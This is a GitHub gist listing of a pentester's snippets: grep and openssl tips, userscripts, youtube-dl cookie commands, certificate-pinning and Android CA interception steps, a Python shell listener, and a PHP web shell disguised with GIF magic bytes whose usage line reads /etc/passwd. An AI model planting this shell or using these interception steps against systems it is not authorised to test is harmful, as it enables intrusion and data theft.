Skip to content

Instantly share code, notes, and snippets.

View sathishshan's full-sized avatar

Sathish Kumar sathishshan

View GitHub Profile
grep -Porn <pattern>
P: Use Perl engine, grep can't run modern regexes otherwise
o: Only show the matching part, not the whole line
r: Search recursively
n: Print line number of matches
Bonus: use -Porh to exclude filenames from output i.e. only show matches. Great for piping.
@sathishshan
sathishshan / debug_ssl_connection.md
Created January 1, 2021 08:33
open_ssl commands

openssl s_client -state -connect postman-echo.com:443 | openssl x509 -text

openssl x509 -inform DER -in cacert.der -out cacert.pem

openssl x509 -inform der -in cacert.der -out cacert.crt

@sathishshan
sathishshan / mini-shell.php
Created January 1, 2021 13:44
Mini shell in php with image magic trick
GIF8;
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
// ==UserScript==
// @name Remove-UTM-from-URL
// @namespace parameter_blocker
// @description Removes UTM from url (by reloading)
// @version 1.0
// @include https://www.naukri.com/job-listings*
// @run-at document-start
// ==/UserScript==
var loc = window.top.location.toString();
@sathishshan
sathishshan / youtube-dl.txt
Last active April 28, 2025 23:50
Download youtube private or member videos
#single video
youtube-dl --cookies youtube.com_cookies.txt "URL"
#playlist
youtube-dl --yes-playlist --cookies youtube.com_cookies.txt "URL"
You can use: --playlist-start, --playlist-end, --playlist-reverse or --playlist-items to achieve this goal.
#Note: cookie should be in Netscape format
// ==UserScript==
// @name Login
// @namespace Auto_Login
// @description Login_Auto
// @version 1.0
// @match https://site.com
// @run-at document-start
// ==/UserScript==
window.addEventListener('load', function() {
// ==UserScript==
// @name Login_MO
// @namespace Auto_Login
// @description Login_Auto
// @version 1.0
// @match https://site.com
// @run-at document-start
// ==/UserScript==
window.addEventListener('load', function() {
Adding/Replacing the PublicKey in mobile application (FingerPrint):
Generating SHA256 hash from the Burp cert:
// It generates Publickey from the Burp Certificate
$ openssl x509 -inform der -in burp_CA.der -pubkey -noout -out burp.pub
// It converts burp publickey to base64 encoded format
import socket, sys, time
def listen(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print("Listening on port " + str(port))
conn, addr = s.accept()
print('Connection received from ',addr)
while True:
openssl x509 -inform der -in cacert.der -out burp.pem
openssl x509 -inform pem -subject_hash_old -in burp.pem
openssl x509 -inform pem -subject -in 9a5ba575.0
mv burp.pem 93f6f67f.0
adb push 93f6f67f.0 /system/etc/security/cacerts
adb shell